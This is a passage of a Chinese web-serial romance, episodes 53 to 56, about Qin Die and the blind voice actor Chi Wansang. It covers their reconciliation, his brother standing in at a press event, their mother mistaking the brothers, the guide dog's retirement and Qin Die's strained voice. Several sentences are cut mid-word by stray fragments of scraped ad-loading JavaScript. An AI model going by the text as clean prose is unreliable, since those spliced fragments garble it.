秦叠抬头看了眼又被乌云遮住的月亮,白光闷闷地照不透那朵云,灰沉沉的光。 她说:“很亮。” 然后吻上他的唇。 不带犹豫地,坚定地做出了选择。 让池晚桑能够看见的,选择。 53. episode53 这一回,池晚桑没有躲开,这一刻,月光切切实实照在了他身上,而他知道,这是属于自己的月亮。 他闭上眼睛,回以更加缠绵而深入的吻。 他想,他真的不会放手了。 “对不起,”池晚桑额头抵着秦叠眉心,气息还有些紊乱,他用气声轻轻在秦叠耳边说,声音温柔缠绵,“高中遇见你的时候,我什么都不知道。” 他没想过那个看着白白净净,无忧无虑的小女孩在学校外面经历了这么多。 外婆当时只是说,她丢了哥哥,以后池晚桑就是她哥哥,要照拂着她。于是他把冷脸上本就不多的笑给了她。却没想过那时的秦叠早就不在乎什么笑容了。 秦叠嗐了一声,笑着说:“我也没那么可怜,高中三年,身边不还有外婆和你嘛。现在想起来,原来那时候你就对我图谋不轨了。” 秦叠起身,池晚桑还没来及问她要去哪儿,她又坐回他身边,用哄小孩子的语气耐心道:“手掌摊开。” 池晚桑楞了楞,手心就被秦叠强势塞进了一个东西,坚硬的圆环,上面有细细密密的纹路,每一条脉络他都无比熟悉。那时候,他想,如果他能肆无忌惮,什么都不顾及地戴上它就好了。 戒指没有变形,被他狠心丢开后,又原模原样地回到手里,触感冰凉,却又莫名地发烫,这温度顺着静脉蜿蜒过手腕,蔓延至全身,整个人都热了起来。 秦叠的声音在耳边似笑非笑地响起,像是晚风中的银铃,苗寨里的芦笙,不可触及像是可可西里藏族姑娘的天籁,却又熟悉得与小溪里淙淙泉水并无二异。 “下次你要丢,就扔在我看不见的地方吧,呐,还给你。” “池晚桑,不离了,一直在一起,行吗?” 池晚桑将那枚戒指稳稳捏进掌心,像是要和它合为一体,在身上留下永不磨灭的烙印,他说:“我会一直在你身边,直到你不需要我为止。” 两人离得近,气息纠缠,气氛旖旎,池晚桑垂眸,轻轻又吻了吻那瓣唇,在她耳边轻声道:“秦叠,我爱你。” 秦叠笑着回吻了他一下,甜甜道:“我知道。” 池晚桑也笑了,眼角蔓延出笑意,整个人温柔得如同一首诗,“在小时候,遇见那个朝着暴雨冲出去的小孩,在高中,认识那个即使流鼻血也坚持着要跑完半马的女生,在聆镜,重逢那个我心心念念的女孩。” “我之前没告诉你,我一直很想你。“ “还有,真的好久不见。” 气息再次交缠,不远处两只白色蝴蝶翩翩缠绕在月光下,像是会发光。 他说:“在我二十岁的时候,失去了一切,我对这个世界的期待值降为零,从那儿以后,所有的事情都成了额外奖励。而今天,我得到了最惊喜的奖励。” “谢谢你,愿意留下来。” “也谢谢你,没想过放弃。” * 头一回这么放肆。 虽然是在黑暗里无人的河边,回去的时候,秦叠还是从头红到脚。 怎么能亲这么久?嗯? 人怎么能亲这么久? 池晚桑似乎也不好意思,沉默着走在身边一言不发。 街道上已经是空旷无人,隔五米一盏路灯,黄色光点悠悠顺着路蜿蜒到拐角,整条街上只剩下盲杖敲击地面“笃笃笃”的声响,缓慢,悠长。 上回秦叠深夜在街上晃荡的时候,还是一个人,离家出走,无家可归。似乎在哪儿站着都很扎眼,黑暗里的东西会趁她不备,咬上一口。 现在,她看了眼身边的池晚桑,他肩膀宽阔挺拔,即使站在黑的夜里,也是无惧风雨的模样。她像是能躲在这身影背后。 那么,再黑的夜她也不怕了,因为这是他的地盘,他说会提着灯来找她。 “躲在我背后干什么?”池晚桑有些好笑地慢下些脚步,语气里多了些调皮意味。 秦叠每步精准踩在他影子上,埋着头认真道:“踩你影子。” “好玩吗?”池晚桑问,继续朝前走。 “嗯。不错。” 池晚桑说:“你知道盲人的世界都停留在失明的那一刻吧,我现在……” 他低声笑了下,“像是在和小朋友谈恋爱。” 秦叠:……” 她僵在原地,片刻无语的时间,笼罩她的阴影已经离她远去。 而另一个身影从拐角蹦了出来,同样挺立的,只是个子矮些。 她这回看清楚了,因为这小子几次嚣张的嘴脸已经在她脑中挥之不去。 池向榆怎么在这儿? 秦叠看着那人鬼鬼祟祟从小区侧门出来,过马路的时候还下意识左右观察了番,压了压帽檐,将手揣进兜里。一看就不像个好人。 秦叠啧了一声,转身跟着池晚桑进了单元门。 本来趁着夜色幽静,秦叠打算把上回弹得心不在焉的吉他演奏给补上,让池晚桑好好看看她的真实水平,保证潸然泪下。 没曾想天上不测风云还没散去又聚集起来一波,天雷滚滚,吉他一弦不弹而裂。 伴随着尴尬的余音,还有一弦戛然而止的琴声,断裂时急促短暂的声音,秦叠觉得自己演奏生涯马上就要在眼前这位的身上断送了。 秦叠:“……” 她可以补救,但是她不想补救。 秦叠放下吉他,走过去坐在池晚桑身边,仰靠着他的肩膀,瘫倒,“我的一世英名啊……” “有酒吗?” 池晚桑挑眉,不置可否,“为了吉他买醉?” 秦叠叹了口气,“昂。” 她酒量其实并不太行,三杯两盏淡酒,怎敌她,一杯就倒,话还贼多。 夸夸团再次上线。 “池晚桑,你知不知道你长得很好看,不论是之前在学校,还是在发布会,总有人想来要你的联系方式。”秦叠赌着嘴,假意吃醋,将脸转过去,靠在他肩膀。 再近一点就会亲上去。 “就连余庆都想来蹭听你的声音,你怎么这么好啊。” “这么”两字,她咬得格外用力。 她不知天高地厚地伸出手捏了捏池晚桑的脸。 “真好。” 她说。 池晚桑只是小心别扭地护着她歪歪扭扭的身子。 秦叠这次并没有上回醉酒的克制,因为在心里,他们之间已经没有什么秘密了。 她的手顺着池晚桑的脸往下滑,摸到上次想咬一口的喉结,还有清瘦的锁骨,她叹了一声,太瘦了。 她的手向下拉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拽着池晚桑睡衣衣领,将胸口袒露了大半,池晚桑整个人已经紧绷,她却又忽然松开,摸到他的手,十指相扣着。 举在眼前。 她想这样做很久了。 “手也这么好看,啧啧啧。”像是研究文物一样,她将池晚桑的手凑到眼前嗅了嗅,又眯缝着眼睛,想要看出个好歹来。 “诶!”秦叠忽然甩开他的手,“我之前给你看过一个博主是吧,他的手也贼好看……”这样说出来似乎有些不对劲,秦叠转了转眼睛,笑着补上一句,“不过,没有你的好看。” 池晚桑默然片刻,说:“醉了。要不要过来睡?” 秦叠眨了眨眼,一副“我就知道你小子不安好心”的模样,戳了戳他的脸,“你之前准备的东西……” 她忽然凑到池晚桑耳边,用很大声的气声,拉长了语调,“我——都看——见了——” 池晚桑忽然被吓得咳嗽了下,想要解释什么却抵不过这醉酒后的人思想跳跃,秦叠双手环抱他的脖子,坠着他,仰着头问:“池向榆知道你住这个小区吗?” 粉唇水润,翕张间,气息扑在他鼻尖。 他看不见,却知道此时两人的距离无比近,近到他可以微微俯身就能吻上去,近到他从没有想过的距离,近到他甚至可以听见两个人的心脏在同频跳动。 “嗯。” 他甚至没有听清楚秦叠的问题,手掌护在她脑后,低下头,覆上温热的气息。 葡萄味的,这家伙,果酒都能醉,以后还是少喝为妙。 醉酒后的秦叠软软的,没骨头似地靠在他怀里,偶尔因为呼吸不过来,闷声发出两声呜咽。 让他耳根发烫。 第二天秦叠从池晚桑怀里醒过来,昏昏沉沉间抬头,唇角擦过他下颌,池晚桑睫毛微颤,勾起嘴角,懒懒道:“这么喜欢我怀里吗?每次都钻进来。” 秦叠大方地仰头凑上去,亲了亲他颊侧,“喜欢,不是今天找了导演聊话桑麻的剧情,我真想多躺会儿。” 秦叠正要起身,却感觉到腰间的手收紧了些,她有些失笑,伸手就要去掰开,“我得上班了,老板,你的员工替你挣钱呢。” “下回,别找他了,我也能咨询。”池晚桑唇未动,像是腹语一样的一串话跑进秦叠耳朵,她惊奇了瞬,笑得更灿烂了些。 随即,她似乎发现了些不妥,伸手摸了摸池晚桑额头,“你发烧了,怎么一声不吭的。肯定是昨晚受凉了。” “没事,今天还有见面会……” “今天就在家里休息吧,见面会那边,聆镜会安排的。” 池晚桑确实身上没什么力气,挣了挣,躺回去,咳嗽了两声,柔声道:“那你去吧,我一个人能行。” 秦叠犹豫再三还是出门了,路过岫白时发现这狗的精神也不太对劲,带到宠物店去,发现肠胃有些炎症,这哥俩还真是性命相连的。 路上她想起昨晚遇见的池向榆,给余庆打了通电话。 谁知道那边刚接通电话,就兴奋地叭叭叭个没完,“喂,师姐,我昨天遇见个傻逼说姐夫坏话,这傻子白长得和姐夫几分相似,一点风度没有……不过你放心,我和他单挑了一架,为了姐夫的荣誉,我义不容辞!” 你说……你和谁单挑了一架? 54. episode54 “一个花瓶,不足挂齿。”余庆语气里还挺得意地切了一声,丝毫没意识到自己为姐夫仗义出手,而大水冲了龙王庙,自家人不认识自家人啊。 秦叠回想了想昨晚看见的池向榆,“那个人,是不是穿的黑色冲锋衣,黑色运动裤?” “……诶?你怎么知道?” 秦叠又说:“可能还戴着一顶鸭舌帽,看起来拽拽的样子,个子比你姐……” “比池晚桑矮一点,他们俩眼睛长得很像,嘴唇都挺薄的。” “靠!”余庆在那边诡异地四处望了望,又缩着头,用另一只手捂着手机话筒,“师姐,你视监我?” 虽然不知道自己为什么要这么做,但是气氛挺好,自娱自乐也不错。 “……你打的是,池晚桑的弟弟,我昨天见过他。”秦叠有些无语,不想再和他演下去了。 余庆那边一叠声“卧槽”,小碎步原地打转,“那怎么办?他们兄弟俩关系好吗?我可不想失去这个姐夫!姐夫在你身边吗?你把电话给他,你让他骂我一声。” “骂我一声姐夫能解气,我也高兴啊!” 秦叠:“……” 这小子还真问到点子上了,这两兄弟,关系好像确实不咋地。 她默了半瞬,等那边即兴发挥结束,“……说完了吗?” 本来想让这家伙打听打听池向榆是不是本校的人,平时人品如何,思想道德课及没及格。 这无来由的正义之火燃烧的,将这条路给烧断了,罢了罢了。 余庆忽然想起什么,诶了声,“师姐,所以你这么早给我打电话干什么?不考虑弟弟有早八吗?” 秦叠选择忽视后面那一问,“本来想问你,和你单挑那人你认不认识,看来不认识。” 前面公交车到站,她快走两步,把电话夹在胳膊和脑袋间,刷了卡上车。 “哦,要我帮忙打听一下吗?”余庆问,他现在很想重新找补回,他那自以为和池晚桑断了的联系。 车上人很多,秦叠勉强站在后门栏杆处,腾出一只手扶着,说:“不用了,你去上早八啊。”便挂了电话,这司机猛踩油门,一脚刹车的开车风格,一只手还真有点站不住。 周一的早高峰绝不是浪得虚名,秦叠堵在这辆车上,不上不下的时候,有些后悔自己的选择,明明可以腿着去,为什么要搭公交。 于是她到的时候,见面会已经开始了。 她明明在车上就告诉苏木他们,找个人代替池晚桑上场,他今天嗓子不太行,她却还是在见面会现场看见了池晚桑,没事人一样杵在媒体中间。 不对,台上的应该是池向榆,戴了副墨镜,躲在其他原创后面,保持着在场的模样,脸上僵硬着微笑。 “他怎么上去了?”秦叠悄摸摸走到苏木旁边,小声问。 苏木有些懵,问:“谁?” “池向榆。”秦叠外观也保持着商业性微笑,从牙缝里蹦出的声音只有他们两个人能听见。 苏木双手交叠礼貌性地对着媒体们微笑,发出的声音却带着崩溃的颤抖,“你说台上的人是谁?” 他又朝那人仔细看了看,眼角一整狂跳,“卧槽!” “你说他来不了,我本来都要上了,媒体都到了,这家伙突然出现,没看清楚就把他推上去了。” 秦叠:“……” 苏木现在心有余悸,试探性问了句:“他们兄弟俩,关系,还不错吧?” 秦叠看着台上似乎没有想故意砸场子的池向榆,咽了口口水。 希望吧。 见面会就在两人热情似火的注视下,平淡如菊地进行,就在秦叠以为终于要结束了,悬着的心可以稍微放开头顶那片白绫的时候。 她一蹬脚下的椅子,倒了。 媒体甲问:“能问一下池晚桑老板,网上有人说你卖惨营销,你对此有什么回应吗?” 什么变态问题! “我……”池向榆向前一步,竟然还想好好回答这个明显是在拱火的问题。 果然还得戴上墨镜,眼里清澈的愚蠢很快就会暴露一切的。这不是面试,问什么得答什么啊祖宗! 秦叠现在虽然算不上名气大,稍微在聆镜冒了点头,网络上已经有扇阴风点鬼火的人,说她品行不端,为人奸诈,一路不过是营销而已。 她对此倒不是很在乎,黑红也是红,何况她现在才是粉红。 她先于池向榆站在镜头面前,有礼貌地挡了挡,正要说什么,苏木也跟着站了出来,朝她使了个眼色。意思是把“池晚桑”给带走,她已经有些招黑了,不要再在媒体这里惹一身骚,他帅他来。 秦叠不知道自己为什么从他一个眼神读懂了这么多,但是苏木自信的神态,确实应该是这个英雄救老弱病残的意思。 她带着池向榆火速撤退。 听见后面苏木发出招牌大笑,不容拒绝地说:“换个友好的问题。” 秦叠把他拉到池晚桑办公室,关上门才开口:“你干嘛来了,还好你今天没差点毁了你哥。” 她神色复杂地瞅了眼这个没比自己小多少的孩子,“今天又没课?” “你以为我乐意来啊,刚到门口就被那个自恋狂拉着上台,说是来不及了,我还没向你们要劳务费呢。” 自恋狂?十有八.九应该指的是苏木,没毛病,秦叠点点头。 池向榆没耐烦地摘下眼镜,问:“池晚桑呢?怎么没来?” “生病了。” 池向榆哼了一声,“我就知道。” 秦叠莫名耳朵根有些红,你知道个毛线啊…… 她克制住上涌的尴尬,清了清嗓子,说:“我不知道你和池晚桑之间到底有些什么,但是,他现在过得挺好,你少来找他麻烦行吗?放过他吧。” 那小孩脸上却不知是什么红橙黄绿蓝靛紫的颜色,一一像流星划过脸庞,憋了半天,忽然有些委屈道:“所以,昨天打我那个人,是他的新弟弟是吗?还每晚都给他讲睡前故事,不愿意认我这个弟弟就直说!” ? 秦叠:“???” 余庆到底和这家伙说了些什么,怎么还互相争宠吃醋起来了? “哎!”她还想再解释些什么,她也不知道,但池向榆就闷着头,伤心伤肝地朝着门外冲了出去。 秦叠看着他有些落 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 寞的背影,皱了皱鼻子,这家庭伦理剧,够跌宕起伏的。 兜里手机震动,池晚桑打来的电话,早上的时候她本想打电话回去问池晚桑的情况,对方没接,想必是还在睡。不一会儿她就接到池晚桑的回电。 “池晚桑?”她问。门口那个背影听到这句话后,有些尴尬地不想走了,秦叠勾了勾唇角,继续问:“你好些了没?还难受吗?” 对面却迟迟没有声音,像是一个误拨。 疑虑还没消除,她就确确实实知道这通电话并不是有意打来的,因为她听见了另一个女人的声音。 “向榆?你怎么在这片瞎混?之前怎么给你说的,好好学习好好学习……不要一直用你哥来堵我,他已经和我们没什么关系了!” 秦叠手机僵持在耳边,紧张地不敢发声,眉头缩在一起,心也跟着揪拢成一团。 池向榆见她这幅大难临头的样子,顿了顿走回来,一脸冷漠地问:“他怎么了?” 秦叠看了眼他,没回答。 电话那头的池晚桑也没回答,想必也是愣住了。 那个女声继续说:“最近天冷了,记得多加点衣服。以前你们……你,一到秋天就容易上火,流鼻血,得多吃水果。最近,家里买了些丰水梨,你妹妹挺爱吃,她也盼着你回去,放假了回去看看吧啊。” 过了半晌,女声又响起,“你这手里拿着的棒是干什么的,警告你少惹事,顺利毕业听见没?” 女人的声音里有几分无奈,半是劝导,半是忧愁地对眼前这个“儿子”苦口婆心。 池晚桑已经很多年没听见过这样的唠叨了,他在这位母亲开口的时候,就知道她又把自己和池向榆认错了。 怎么能这么轻易认错呢。 电话里传来超市门口摇摇车的音乐声,想必跟着父母买菜回家的小孩,路过它又挪不开眼了。 池向榆看见秦叠捏紧的拳头,语气里也有些急切,“怎么了?你倒是说话啊。” 秦叠愣愣地抬头,啊了一声,说:“你妈遇见池晚桑了。” 秦叠顿了顿,“她,把池晚桑认成你了。” …… 他们赶到的时候,两人还在超市门口。 池晚桑手里提着狗粮,两手垂落在身侧,像是被定格了般。他只穿了件灰色卫衣便下来了,秋风直灌进领口,煽动薄薄一层衣裳扑打在身上。 一瞬间,秦叠感觉他身上的光好像灭了。他脸上除了震惊,更多的是,无所适从和想要逃离。 隔着车流,听不见他们的对话,秦叠只想快点过去拉住他的手,告诉他,她来了。 “我靠,我妈怎么能这样呢。”池向榆在旁边也急得不行,“自己儿子都分不清。” 是啊,怎么能这么残忍呢。 他们走过去的时候,将将听见池晚桑开口,语气里冷漠疏离得像一个陌生人,他只是礼貌地开口:“你认错人了。” 然后身边的池向榆喊了声“妈”,大步朝他们走过去,女人恍然,瞪着眼睛在兄弟两之间逡巡片刻,震惊的视线终于定在她面前的人身上。 语气里有些难以置信,她问:“你,是,晚桑?” 55. episode55 杀人诛心。 秦叠觉得池晚桑没心情和她说话,带着他走的时候,脑子里只有这四个字。 而池晚桑则像个听话的小朋友,仍由她牵着往随便哪个地方走,温顺的。 他的手很冷,本来就在生病,又在冷风里站了那么久,体温都快没了。秦叠下意识捏紧了他的手。秦叠觉得这时候她就算带着他往悬崖下跳,他也不会有丝毫察觉。 她尽力想引起一些话题,可这种时候,说其他任何,都会显得刻意和突兀。 池晚桑却木然地开口了,像是回过神来一样,他说:“机构打电话过来,岫白该退休了。” 他起床的时候就知道今天没太阳,呆呆闭着眼睛,朝着窗外呼吸了几口新鲜空气后,原本打算继续躺着,就接到了机构的电话。 时间到了。 他语气如常,正因为如常,秦叠才感到一阵凉意。她可以察觉到池晚桑语气里尽量克制的哽咽,让她心跳跟着漏跳了两拍。 “秦叠,岫白呢?” 留给他们剩下的时间不多了,他想再多陪陪他。 导盲犬退役之后,一般来说不能继续待在盲人身边,因为它们还会觉得自己在工作,这样一辈子都很难休息。 一种情况是回到小时候寄养的原生家庭去,另一种情况是机构和池晚桑一同商量,为它找个好去处。 反正,必须得走。 老狗和池晚桑相伴了这么些年,谁也不可能狠心说送就送。在他最难受的时候,意外得到这个小狗,池晚桑当时真的很开心。 他第一次摸到岫白的时候,还记得它的体温很高,暖暖的,毛茸茸的一团。他靠近的时候岫白会摇着尾巴。他们说它很黑,像个煤球。 但在他心中,它是亮色的,发光的。 秋风带着落叶撩起他额前碎发,池晚桑捏着拳头捂在嘴边,轻咳了几声,秦叠醒了醒神,忙道:“它今天有些不舒服,我带到店里去了,你等我,把它带回来。” 回去的时候,池晚桑一个人曲着腿坐在地上,脸朝着外面,今天却是阴天,没有一点阳光。 听见门开的声音,他回了回神,勉强笑了笑,“岫白回来了吗?” 秦叠放开手里的绳子,岫白慢慢悠悠朝他走过去,看着样子十分沉稳,不慌不忙,倒真有几分老者的架势。 也许是炎症作祟,也许它也似乎预感到什么,团在池晚桑腿上,低低呜咽了两声。 “我给你准备了你喜欢的那个牌子的狗粮。”池晚桑顺着它的后脖子慢慢捋着,眼角弯弯地低垂着,“之前不是说那个牌子吃多了容易长肥肉,就没给你买了,你还生了一阵子闷气。” 他又捏了捏岫白身上的肥肉,“今天我专门下去给你买了一大包,咱适度放纵一下,不一直紧绷着了。” 可以休息了。 不用一直照顾他了。 不用随时保持警惕,在池晚桑前面探路,面对不明所以群众的惊叹和投喂岿然不动。 不用学会开关厕所门,听见里面有异动,就冲进去。 不用听见别人一声声地喊着它的名字,然后跟着指令行事。 可以休息了。 秦叠看着不忍心,悄悄回到房间,给他们两个独立的相处空间。 她没养过什么小动物,从小到大颠沛流离的生活,不允许有一丝安稳的存在。但如果是那株含羞草枯萎了,她也会难过的吧。 还好它生命力顽强。 秦叠默默叹了口气,想都没想用myeyes给黎叔拨了过去。 “黎叔,岫白要走了,我想问问你关于导盲犬退役的事儿。” 对面沉默了半晌,似乎不知道该从何开口,“小秦啊,其实,我们两个应该还不知道彼此的身份才对。” 他们在myeyes上应该就是普通志愿者和盲人的关系。 她这样忽然打乱了表演节奏,黎宜半张着嘴,犹豫了半瞬怎么接下去,才能融合之前的表现,丝毫不带表演痕迹。 算了,破罐子破摔吧。 这姑娘也太不按常理出牌了。 * 后来岫白走了。 池晚桑一连病了好几天。 秦叠也忙忙碌碌在外面奔波,回家的时间明显变短了些,但她还是尽量让池晚桑吃好点,每次回去都买了一大堆菜,做出来的效果则是参差不齐。 这天池晚桑稍微好了些,拿过锅铲说:“今天我来做吧,这几天辛苦你了。” “没事没事,”秦叠埋头跟着手机里东坡肉的做法学习,一边嘴里念念有词,“你休息吧,今天保证不翻车。” 池晚桑却没有放下锅铲,坚持道:“今天还有一个任务给你。我来做就可以。” 于是当秦叠被安排得明明白白,拿好录像设备,按照池晚桑的要求,只拍摄案板上的情况时。 她虚了虚眼睛,这色调,这构图,这……双手! 这位博主,她是见过的。 秦叠一时不知道用什么词汇来表现自己的心情,抬头无声地看着池晚桑收拾案板上的原料。 他似乎是感受到了秦叠的目光,温声笑着说:“不是说很久没更新了,觉得可惜吗?今天做东坡肉怎么样?” “你耍我!”秦叠没想到被冥冥之中被他给摆了一道。 池晚桑无辜道:“你也没问是不是我,只是喝醉了拉着我听这个视频。” 无需多言。 往事不必再提,秦叠听到喝醉了,想起自己所作所为,决定这篇就揭过去。 “不过你为什么不用声音啊?你声音很好听的。” 池晚桑楞了楞,说:“太麻烦了。” 秦叠来了兴趣,这个号的粉丝数量之庞大,她是见过的,但同时也因为没有解说丧失了一部分潜在观众,她说:“我来弄,今天加上解说吧,就随便说说。” 就像余庆说的,他用那种漫不经心的调子,随便说上两句,都能让听的人苏到骨子里。 “那你来配合我。”池晚桑想了想,觉得也无不可。 “什么?” 池晚桑说:“两个人一起说。” 于是这场视频的点击量破了开号以来的记录。 磕CP的人闻着味儿就过来了。他们倒是没有牵扯上聆镜的牌子,换了个声线对两人来说都不是难事,除了特别亲近的人,一般听不出来。 余庆的语音没过 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 几分钟就打过来了,“我有罪,我忏悔,我收回之前说过对那个美食博主的一切逼逼……” 秦叠实在是不想听完他的震惊,顺带用下回来蹭饭,挂掉了这通电话。 苏木也如约而至,接通后就是一阵痛斥,说什么兔死狗烹,鸟尽弓藏,如今飞黄腾达了,却换了个搭档,之前共患难的兄弟情可还看得见。 秦叠听着有趣,拿起桌面的水杯,笑眯眯喝了一口。 池晚桑听着苏木的抱怨无法插嘴,耸了耸肩表示无奈,把电话放在一边,也跟着拿起水杯,里面是秦叠泡的热茶。 “你们两个声音怪物结婚可真是太恐怖了,这视频我不仔细听,都发现不了是你们俩在搞鬼。像是有一整个足球队的后备人员……” 苏木细思极恐,抖了抖身上的鸡皮疙瘩,却不知道电话那头,两个声音怪物根本没理他。 秦叠惬意地躺在沙发上,小声说:“你知道喝水是会传染的吗?不过得是自己喜欢的人才会被传染。” 池晚桑轻笑了声,“真的假的,那你喝了吗?”他将杯子放下,又拿过手机,将苏木的声音调小。 嫌他太吵。 秦叠撇撇嘴,睁着眼睛说瞎话,“我没喝,可能还没有那么喜欢你吧。” 手机上传来一个消息,让她下午按约定的时间去,她抬眼看了眼池晚桑还在和电话里的苏木纠缠,回复了一个好。 下午出去的时候,她只说是工作室还有事,得再回去一趟,又把想跟着一起去的池晚桑稳住,说好不容易好转,稳定了再出门,不然一受凉,又功亏一篑了。 到了楼下,她发现近些日子物业又在偷懒,盲道上自行车又堆满了没人管,想着回来的时候去找物业一趟。可经过红绿灯的时候,语音提醒的声音也没了。 秦叠心里无奈地叹了口气,想要为盲人提供稳定持续的基础设施,可真是有一定的难度,她啧了一声,跟着人流走过马路。 到了约定地点,一团黑乎乎的玩意儿看见她,就朝她冲过来。这要是换了以前,秦叠恨不得身上有八条腿用来逃命,她现在只是张开手臂,笑着喊了声:“岫白!” 紧接着,一个女人慌慌张跟着岫白从院子里出来,看见是秦叠才松了口气,“我说怎么一下子激动起来了,原来是熟悉的人来了,快进来。” 这是一个乡下的普通院子,自家修葺的水泥墙围着房屋隔出了不大不小的院落,里面有一课老槐树,夏天的时候一定格外阴凉。 这是岫白小时候的寄养家庭,他们现在正在帮它回归社会。按道理说盲人不能养退役后的导盲犬,但黎宜说,如果是秦叠来养的话,也不是不行。 于是,秦叠找到了这家人。 他们很好说话,对岫白的去留也跟从它自己的内心。毫无疑问,它是想留在池晚桑身边的。 这些天秦叠有空没空就来这边,帮助岫白训练,丢弃一些以往的习惯,目的就是做一只懒懒散散的狗,不听指令,无需时刻警惕着照顾人。 效果很好,岫白很聪明,虽然现在正傻乎乎对着秦叠摇那大黑尾巴,吐着舌头直冒傻气。 但秦叠知道,过不了多久。 它就可以回家了。 56. episode56 聆镜现在如日中天,如个工厂日夜轮轴转个不停,但老板们也貌似没有扩大规模的打算。毕竟如果扩招新人进来,水平可能在线,但人品和麻烦就花样百出。 池晚桑懒,苏木嫌麻烦,精品小工作室的定位也不错。 只是苦了这些员工,一个人的命打两份钱的工,如果不是一腔热血,换谁谁受不了。 池晚桑被从家里叫出来后,进入工作室里,一阵死寂。 半小时前,他收到苏木的电话,说秦叠声音哑了。 秦叠这几天早出晚归,他们俩沟通并不多,两人也不是逮着对方叭叭叭要分享鸡毛蒜皮小事的性格,简短几个字的回答,池晚桑没有听出来秦叠声音的问题。 她这几天确实忙到脚不沾地。除了在工作室奋斗修炼的时间外,得空了就得跑一趟岫白那儿,那边也是个费嗓子的活。需要不断和岫白进行沟通,一遍遍地重复。 虽然这句话说出来不好听,但是狗改不了吃屎,话糙理不糙。岫白勤勤恳恳的习惯不是一两天能彻底纠正的。 聆镜的工作量也有所提升,她明显感到自己能力的局限性了。如果按照之前的工作量,,有完全充足的时间纠错,就算效果不好,还能重来好几次,顶多脸皮厚点,麻烦麻烦录音师。 现在翻倍的任务量,让秦叠有些力不从心。 她能挑出空就练习台词,能找到没人的地方就练习气声,就算在公交上,她也得像个高考生一样复习发声的位置和技巧。 披星戴月,晨出晚归,于是,她成功把自己声带给磨损了。 在今天只剩最后几个小样的时候,秦叠一开口发出几声公鸭子嗓音时,她天都塌了。 于是池晚桑看见,不,听见的就是这样一幕。 大厅沙发上几个人坐在这里围成一圈小声蛐蛐。 “怎么办?” “等老池来了说。” “她好像挺难受的。” “大不了剩下几个,我能模仿她的声音给顶上”…… 还有二楼不同寻常,死一般的寂静。秦叠本人就抱着头蹲在配音间外,思考到底哪里出了问题,该怎么去解决。 她明明有注意休息,明明按照提示准时放松了声带,明明多喝了很多水…… 苏木余光看见池晚桑进门,小声朝他喊了声,就像二楼的怪物随时会吞了他一样,“池晚桑,这边!” 他走过去,有些忧心地坐在沙发上,微微叹了口气,“她欠的任务能解决吗?” “没问题,我们可以补上。我手里的活现在不急。”林桐说。 池晚桑点点头,又迟疑地抬了抬头,“那她……” 陈藻咳嗽了一声,示意他小点声,又压低嗓音说:“有些不能接受,她进取心也挺要强的,就是,你,懂吧……” 太久没咋说话,这小伙子说出口的话怎么有些怪怪的。 苏木推了他一把,探过身来,也小声道:“孩子现在有点接受不了。” 沈桉羽补充:“可能是觉得自己丢人了,自卑呢。” 苏木又说:“所以,差不多到下班时间了,我们先走。” 沈桉羽捧哏:“你们好好聊。” 伴随着耗子过境一阵窸窸窣窣的声音,再轻手轻脚也不可避免的几声关门声,池晚桑闭着眼睛额间青筋也跟着跳了跳。 他们这样还不如光明正大弄出声响。 秦叠看见他慢悠悠走上二楼时在想,如果她真的不想让池晚桑发现自己,其实可以在他面前消失得无影无踪。 只要没有一点声响。 但她不忍心,清了清嗓子,用像是布撕裂的声音问:“他们走了?” 池晚桑点点头,寻着声音来处,在秦叠旁边一起坐下,背靠着走廊的栏杆,他忽然道:“我还从来没有坐在这里过,背后感觉空荡荡的,栏杆不稳的话,随时会掉下去。” 秦叠没有接话,他又继续道:“还记得我们之前一起看星星吗?我觉得你挺有天赋,要不要一起做一档节目,讲观星的?” 秦叠想清嗓子,捏着喉咙,“咳——”了两三声,还是无济于事,于是又闭嘴。她的意思已经很明显了。 我现在工伤,你来找我谈理想? 池晚桑笑了笑,“我又没说现在。” “他们说你心态崩了,我听这不耐烦的语气,好像还有力气怼人嘛。” “我就是想努力追赶上你们,不想拖聆镜的后腿。”秦叠索性说话之前不清嗓子了,公鸭嗓大胆开麦。 “没想到用力过猛,太丢人了——” 说着她又无可奈何地将头埋在双膝间,像是长颈鹿努力遮住自己。最后四个字被掩埋在衣袖里,才显得没那么粗狂。 池晚桑被她忽然大声的崩溃给弄得楞了下,说:“你本来就不是天赋型,努力一点怎么了?” 听到这话,秦叠脸上还挂着金豆子,撇着嘴,一脸可怜巴巴地抬头看了一眼池晚桑,您这是在安慰我吗? 秦叠声音条件虽然不错,但主修的专业并不是转换声线,来适应角色,她本可以靠字正腔圆的发音和稳如泰山的气息在那一行干下去,但是她选择了另一条路。 就像沈桉羽一样,她不是这里的天赋型选手。 池晚桑则是老天追着赏饭吃的人,就像他说的,凭感觉。并不是一句自我吹捧的话,而是他真的凭感觉。 小时候学英语就总有一群学霸凭感觉做题,问她为什么选这个选项,她无可奈何告诉你,语感告诉她的。 瞬时间也好想拥有这样的超能力,不用动脑子,读过去就能考满分。 但秦叠从来不是这样的人。 池晚桑伸过手,将她揽在自己怀里,下巴抵在秦叠头上,像是哄小孩子一样在她背后轻拍,柔声道:“不要急,慢慢来,聆镜招进来的人,从来就不是什么庸才。” “你自己不也说,是靠硬实力,不是走后门的嘛。” “可以的。” 他轻轻拍着缩在自己怀里泣不成声的秦叠,说: “你可以的。” “想听我弹琴吗?”池晚桑问。 “嗯?”秦叠声音闷闷的,从他胸口处传来,显然是哭懵了。 很久没这样痛快淋漓哭一场,虽然事后很丢人,为了这屁大点小事哭得狼狈不堪。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>但是,竟然有点爽。 池晚桑勾了勾唇,埋下头,在她额头亲了亲,“我之前待过一段时间的特殊教育学校,让我回去讲一讲自己的故事,你要陪我去吗?” 秦叠没想过池晚桑还去这种学校上过学,她以为他就是神仙一样,瞎了之后自我鼓励一番,就能继续读大学。 这种想法之前没觉得有什么不妥,现在确实是缺乏常识了。 她没去过池晚桑生命里最难受的那段时光,当然想陪着他走一走。去看看那里的树是不是和蔼的,鸟儿会不会捉弄行人,还有他当时遇见的人们。 